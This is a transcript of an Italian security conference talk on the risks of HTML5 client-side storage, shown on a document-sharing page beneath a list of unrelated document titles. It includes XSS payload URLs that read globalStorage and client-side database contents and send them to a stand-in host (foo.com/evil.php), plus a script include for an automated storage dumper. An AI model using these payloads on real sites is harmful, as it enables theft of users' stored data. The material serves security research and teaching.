Abusing HTML 5 Client-side Storage



Documenti analoghi
ammesso solo con il tuo consenso. Le modifiche apportate hanno lo scopo di semplificare il controllo di quali

Cookie. Krishna Tateneni Jost Schenck Traduzione: Luciano Montanaro

sito web sito Internet

Il Sito web usa i cookie per raccogliere informazioni utili a

Titolare del trattamento dei dati innanzi descritto è tsnpalombara.it

Cookie e Webstorage. Vediamo ora i metodi dell oggetto localstorage. Per memorizzare un valore si utilizza il metodo setitem:

POSTECERT POST CERTIFICATA GUIDA ALL USO DELLA WEBMAIL

Manuale servizio Webmail. Introduzione alle Webmail...2 Webmail classica (SquirrelMail)...3 Webmail nuova (RoundCube)...8

Questo sito internet fa uso di cookie, al fine di rendere i propri servizi il più possibile efficienti e semplici da utilizzare.

Tutto a portata di mouse

Esempio Cookie Policy

CONTENT MANAGEMENT SY STEM

Cookie Policy per

Sistemi per la gestione di database: MySQL ( )

Le Novità Repository (depositi di files) File Legacy del Corso Domande con punteggio negativo. prof. Tommasini Nicola ITIS G.

TeamPortal. Servizi integrati con ambienti Gestionali

COOKIES COSA SONO I COOKIES? COME UTILIZZIAMO I COOKIES?

Dispensa di database Access

Introduzione alla teoria dei database relazionali. Come progettare un database

Informativa estesa sull utilizzo dei cookie

NOVITÀ SITI COMMERCIALISTA

DDL, VINCOLI D INTEGRITÁ, AGGIORNAMENTI E VISTE. SQL è più di un semplice linguaggio di interrogazione

CONTENUTI 1. INTRODUZIONE CONCETTI BASICI SU EQUINOX CMS XPRESS ACCESSO A EQUINOX CMS XPRESS PAGINA D INIZIO...

PHP e MySQL. Guida scaricata da

INFORMATIVA ESTESA SULL USO DEI COOKIE

Attacchi alle applicazioni web: SQL injection e Cross-site scripting (XSS)

I cookie sono classificati in base alla durata e al sito che li ha impostati.

Uso delle basi di dati DBMS. Cos è un database. DataBase. Esempi di database

Utilizzo Web Mail LUSPIO

Risposte e consigli ruotanti attorno a Docsafe

Creare un sito Multilingua con Joomla 1.6

ICARO Terminal Server per Aprile

Questa tipologia di cookie permette il corretto funzionamento di alcune sezioni del Sito. Sono di due categorie: persistenti e di sessione:

Studio Legale. Guida operativa

MANUALE ESSE3 Gestione Registro delle lezioni

Presentazione MyMailing 3.0

TeamPortal. Infrastruttura

I MODULI Q.A.T. PANORAMICA. La soluzione modulare di gestione del Sistema Qualità Aziendale

19. LA PROGRAMMAZIONE LATO SERVER

Nelle reti di calcolatori, le porte (traduzione impropria del termine. port inglese, che in realtà significa porto) sono lo strumento

UTILIZZO DEI COOKIES (informativa conforme al Provvedimento del Garante Privacy del 8 Maggio 2014)

GERARCHIE RICORSIVE - SQL SERVER 2008

Consiglio regionale della Toscana. Regole per il corretto funzionamento della posta elettronica

filrbox Guida all uso dell interfaccia WEB Pag. 1 di 44

MODULO 5 Appunti ACCESS - Basi di dati

MANUALE PARCELLA FACILE PLUS INDICE

CRM AziendaDemo. Validità: Dicembre 2013

Istruzioni per accedere al Corso sulla Legge 81, edizione Versione 2 ASL11-26/03/2013

Mac Application Manager 1.3 (SOLO PER TIGER)

Galileo IBE (Internet Booking Engine) Ver. 3.0

Volumi di riferimento

Guida al servizio dis.

ESERCITAZIONE Semplice creazione di un sito Internet

Cookie Garante Privacy. Cookie Garante Privacy

2.5. L'indirizzo IP identifica il computer di origine, il numero di porta invece identifica il processo di origine.

Banca dati Professioniste in rete per le P.A. Guida all uso per le Professioniste

CONCETTO DI ANNIDAMENTO

TERMINALE. Creazione e gestione di una postazione terminale di Eureka

Manuale operatore per l utilizzo dell utente di dominio

Lezione V. Aula Multimediale - sabato 29/03/2008

Informativa estesa sui Cookie e sulla privacy

Guida informatica per l associazione #IDEA

Cookie Policy per

Guida al CRM INGENIA Group

Guida al sistema. Dott. Enea Belloni

Creare e gestire semplicemente progetti web accessibili.

Dropbox di classe. É un servizio internet fornito gratuitamente (funzioni base).

Per chi ha la Virtual Machine: avviare Grass da terminale, andando su Applicazioni Accessori Terminale e scrivere grass

Informazioni di identificazione personali

VERSIONE 5.1/5.2 GUIDA RAPIDA PER WEBACCESS HTML 3

Corso di PHP. Prerequisiti. 6.1 PHP e il web 1. Conoscenza HTML Tecnica della programmazione Principi di programmazione web

Praticità e comodità

Configurazione Zimbra mail per accedere alla propria casella di posta tramite il browser.

Leggere un messaggio. Copyright 2009 Apogeo

Il calendario di Windows Vista

Gestione Manutenzioni Immobiliari.

Il Web Server e il protocollo HTTP

Creazione di una Azure Web App

Sistema Informativo Valutazioni e PRocedimenti Ambientali (SIPRA)

QRcode immobiliare QRpass al servizio del settore immobiliare

REOL-Services Quick Reference Ver. 1.1 Tecno Press Srl. 1

CORSO ACCESS PARTE II. Esistono diversi tipi di aiuto forniti con Access, generalmente accessibili tramite la barra dei menu (?)

L amministratore di dominio

lo PERSONALIZZARE LA FINESTRA DI WORD 2000

uadro Soluzioni software per L archiviazione elettronica dei documenti Gestione Aziendale Fa quadrato attorno alla tua azienda

Esercizi di JavaScript

MANUALE UTENTE. TeamPortal Liste Distribuzioni

Guida di Pro Spam Remove

Sistema per scambi/cessioni di Gas al Punto di Scambio Virtuale

SCUOLA SECONDARIA DI 1 GRADO GIOVANNI FALCONE Via Ardeatina, 81 Anzio (Roma) APRIRE UN BLOG GRATUITO CON WORDPRESS

Manuale istruzioni BlackVue BOZZA

Il Centro sicurezza PC di Windows Vista Introduzione alla sicurezza

Sviluppo Applicativi personalizzati per automatizzare le Analisi SPC

RELAZIONE PROGETTO DATABASE GESTIONE BIBLIOTECA PERSONALE

POLICY COOKIE Gentile visitatore,

Integrabile con il tuo ERP. Gestisci le tue relazioni con il cliente UN APPLICAZIONE MOBILE PER TENTATA VENDITA, GESTIONE ORDINI E CRM

Modulo 4 Il pannello amministrativo dell'hosting e il database per Wordpress

PRIMO PASSO: entrare nel sito web.spaggiari.eu

Indice generale. Capitolo 3 Introduzione a PHP...43 Sintassi e istruzioni di base Variabili, operatori e commenti Array...

Transcript:

Abusing HTML 5 Client-side Storage Myth: the client s machine is a safe place to store data Relatore: Alberto Trivero

Client-side storage finora Limiti nello storage, nell interoperabilità e strutturali userdata (Internet Explorer 5.5+) Local Shared Object (cross-browser + Adobe Flash Player 6+ plugin) Google Gears (Firefox & IE + plugin) HTTP cookies (veramente cross-browser)

Due parole su HTML 5 Sviluppo iniziato nel 2004 dal Web Hypertext Application Technology Working Group (WHATWG) con l aiuto del HTML Working Group del W3C dal 2007 Pubblicazione della First Public Working Draft il 22 gennaio 2008 Molte le novità introdotte per adeguarsi alla web 2.0 mania, alcune delle quali già implementante da tempo in diversi browser (p.es. <canvas> ) Stato di W3C Candidate Recommendation nel 2012...

HTML 5 client-side storage Forse la novità più interessante per chi si occupa di sicurezza Si concretizza in 3 diverse tipologie di storage: Session Storage Local Storage (ex Global Storage) Database Storage In Firefox e Internet Explorer prende il nome (improprio) di DOM Storage

Implementazione nei browser Gecko 1.9 (Firefox 3.0) Session Storage e Global Storage WebKit r34xxx (Safari 4) Session Storage, Local Storage e Database Storage Trident VI (Internet Explorer 8 Beta 2) Session Storage e Local Storage Presto (Opera 9.60) Nada...!

E il mio browser cosa supporta? var storsupp = ""; if("sessionstorage" in window) { storsupp += "Session Storage "; } if("globalstorage" in window) { storsupp += "Global Storage "; } if("localstorage" in window) { storsupp += "Local Storage "; } if("opendatabase" in window) { storsupp += "Database Storage "; } document.write(storsupp);

Session Storage Simile ai cookies HTTP ma più efficiente in diversi casi Immagazzina stringhe associandole univocamente al dominio (location.hostname) e alla finestra (o tab) correnti Persiste sino alla chiusura della finestra o del tab Non vi sono precisi limiti di storage (p.es. 5 MB in Firefox 2 e 10 MB in IE8) Esempio: sessionstorage.foo = bar ;

Local Storage (Global Storage) Mentre global storage è associabile ad un qualsiasi dominio (TLD compreso), local storage viene in automatico associato al dominio corrente Come il session storage anch essi immagazzinano stringhe ma sono accessibili da qualsiasi finestra (o tab) Persistono sino all eliminazione da parte della web app Esempi: localstorage.foobar = 13; globalstorage['example.com'].foo = "bar"; /Users/XXX/Library/Application Support/ Firefox/Profiles/XXX/webappsstore.sqlite

Database Storage Rende possibile l utilizzo di un vero e proprio database SQL (di solito SQLite) lato client per lo storage persistente di dati strutturati (anche centinaia di MB) Accesso limitato al solo dominio di origine Esempio: db = opendatabase("dbtest", "1.0", "First Database", 300000); db.transaction(function(tx) { tx.executesql("create TABLE MyTb (id REAL)"); }); Dati in: /Users/XXX/Library/Safari/Databases

Some boring (in)security Solo Session Storage Se un utente naviga su una sola finestra (o tab), è possibile recuperare i dati di molto tempo addietro Solo Global Storage La possibilità di settare il dominio per la condivisione può portare ad una condivisione indesiderata di dati Global Storage e Local Storage Non è possibile configurare una scadenza automatica Nessun controllo dell integrità dei dati: salvati in db SQLite (files), facilmente accessibili e manipolabili In Firefox 3 non è stato implementato clear()

C è qualcosa di strano... sessionstorage.foo = false; if(sessionstorage.foo) { alert("vero"); } else { alert("falso"); } Cosa visualizza lo script? vero... Su tutti i browser!?_? typeof(sessionstorage.foo) ritorna string su WebKit e IE e ritorna object su Gecko, mai boolean! Per ottenere falso, come ci si aspetterebbe, si può usare sessionstorage.foo = ; ma vale solo su WebKit Su Gecko sembra impossibile ottenere falso, anche con tostring

Abusing Client-side Storage Se la web application è vulnerabile ad attacchi come XSS, è possibile utilizzare un payload che permetta di leggere/modificare il contenuto di qualsiasi variabile di storage lato client (session, local, global e database) Se la web app carica dati o codice dallo storage locale posso iniettare del codice in modo che venga eseguito poi tutte le volte che il dato infettato viene richiesto Quando un PC viene compromesso, guardare tra lo storage locale può essere molto interessante

Abusing Client-side Storage Tutti i metodi di attacco client-side sin ora studiati ricevono nuove possibilità d azione (altro che cookies stealing, e non c è HTTPOnly che regga) Aumentano i modi per tracciare le preferenze di un utente (v. spy cookies) Con database e global/local storage possibilità molto superiori per i web worm di diffondersi (persistent XSS): in futuro molti MB di dati locali di milioni di utenti a rischio

Abusing Client-side Storage Imagine a personal finance site storing your stock portfolio and historical prices locally, [...] your favorite blogging tool might already use local storage to automatically save drafts of your blog posts, [...] a personalized homepage might store your selected widgets and their content locally, [...] web applications such as Google Calendar might store your appointments locally, [...] your webmail will be downloaded locally [...]. I'm excited to see more applications start to use clientside storage, Niall Kennedy, web technologist

Abusing Client-side Storage Ora tocca a me... Immagina che chiunque possa accedere da Internet al tuo portafoglio elettronico scoprendo quali azioni possiedi e magari modificandole, alle bozze (pubbliche o private) del tuo blog, ai tuoi widgets e alle informazioni che essi portano, alla tua agenda di appuntamenti, alle tue mail senza bisogno di cookies o passwords... E magari immagina ancora che esista uno script in grado di fare tutto questo automaticamente in una botta sola Già, proprio eccitante! :P

Enumerazione degli Storage object Nel caso volessimo acquisire i dati contenuti in sessionstorage, globalstorage e localstorage, esistono due vie per scoprire i nomi di chiavi non note: var ss = ""; for(i in window.sessionstorage) { ss += i + " "; } var ls = ""; for(i = 0; i < localstorage.length; i++) { ls += localstorage.key(i) + " "; }

Enumerazione dei Database object There is no way to enumerate or delete the databases available for a domain from this API HTML 5 Working Draft Nel caso in cui volessimo acquisire i dati contenuti in un Database object non conoscendone però il nome, si deve usare qualche escamotage per risalire ad esso: var db = ""; for(i in window) { if(window[i] == [object Database] ) { db += i + ; } }

Extracting database metadata Ogni database SQLite ha una tabella sqlite_master contenente l elenco delle tabelle del database: SELECT name FROM sqlite_master WHERE type='table' Per ottenere l elenco delle colonne (al momento della creazione o anche aggiunte in seguito) di una tabella: SELECT sql FROM sqlite_master WHERE name='nome_tabella' WebKit attualmente usa SQLite versione 3.4.0 (la 3.6.1 è l ultima disponibile): SELECT sqlite_version()

One shot attack Ciò che rende scomodi gli attacchi client-side è la difficoltà di interagire costantemente e in qualsiasi momento con il bersaglio Se un applicazione ha una falla di cross-site scripting posso usarla per prendere dei dati mirati: http://example.com/page.php?name=<script> document.write('<img src="http://foo.com/evil.php? name=' %2B globalstorage[location.hostname]. chiave %2B '">');</script> http://example.com/page.php?name=<script> db.transaction(function (tx) { tx.executesql ("SELECT * FROM tabella_client", [], function(tx, result) { document.write('<img src="http:// foo.com/evil.php?name=' %2B result.rows.item(0) ['dato'] %2B '">'); }); });</script>

D E M O 1

Attack automation: HTML5CSdump Nel caso non si abbia alcuna conoscenza dei nomi delle chiavi negli Storage objects o delle tabelle nel database, posso creare uno script JavaScript che automatizzi l intero processo di acquisizione dei dati lato client: http://example.com/page.php?name=<script src=http://foo.com/evil.js></script> evil.js utilizzerà le tecniche di enumerazione e di estrazione descritte prima per acquisire tutto lo storage lato client di HTML 5 memorizzato sul PC della vittima dal browser e relativo al dominio dell applicazione vulnerabile trivero.secdiscover.com/html5csdump.js

D E M O 2

Cross-directory attacks Per le tre metodologie di storage lato client di HTML 5 non esiste un equivalente del parametro Path dei cookies Ciò significa che una falla XSS&c. in una qualunque pagina di un sito, può portare alla cattura o modifica dei dati che il sito ha memorizzato sul PC dell utente attaccato Risulta quindi assolutamente sconsigliato l utilizzo di queste metodologie di storage per chi usa siti quali geocities.com, myspace.com, livejournal.com, etc.

Cross-domain & cross-port attacks Un attacco cross-domain è fattibile contro il global storage di Firefox 2. Se le restrizioni per i domini sono blande, un subdomain può accedere ai dati di un altro: user.altervista.org può accedere su admin.altervista.org a globalstorage[ altervista.org ].silly Non potendo mettere restrizioni sulle porte, se sullo stesso host girano due web server su due porte diverse (o qualsiasi altro tipo di sevizio XSSable), ciascuno può accedere allo storage locale dell altro

Client-side SQL injection Gli attacchi di SQL injection, da sempre considerati un problema server-side, ora lo diventano anche client-side Il problema si presenta quando i parametri delle query SQL non sono passati attraverso il simbolo? ma direttamente: executesql("select name FROM stud WHERE id=" + input_id); Invece di: executesql("select name FROM stud WHERE id=?", [input_id]); Sfruttabilità dell attacco variabile Con WebKit, non tutti i comandi SQL che SQLite supporta sono permessi: p.es. PRAGMA e ATTACH

D E M O 3

Conclusioni Le prime bozze di HTML 5 introducono una funzionalità di storage lato client molto interessante ma anche rischiosa Attualmente tutti i maggiori browser si stanno affrettando per supportare queste e altre specifiche La reale portata dei rischi legati a questa tecnologia sarà visibile solo quando verrà adottata su larga scala (ora come ora è quasi inesistente ma subirà sicuramente una crescita esponenziale nei prossimi mesi e anni)

Links utili Trovate queste slide all indirizzo: http://trivero.secdiscover.com/smau08.pdf White Paper: http://trivero.secdiscover.com/html5whitepaper.pdf www.whatwg.org/specs/web-apps/current-work/ multipage/structured.html developer.mozilla.org/en/docs/dom:storage msdn.microsoft.com/en-us/library/cc197062(vs.85).aspx Ajax Security: www.amazon.com/ajax-security-billy- Hoffman/dp/0321491939/

Domande? Relatore: Alberto Trivero e-mail: a.trivero(*)secdiscover.com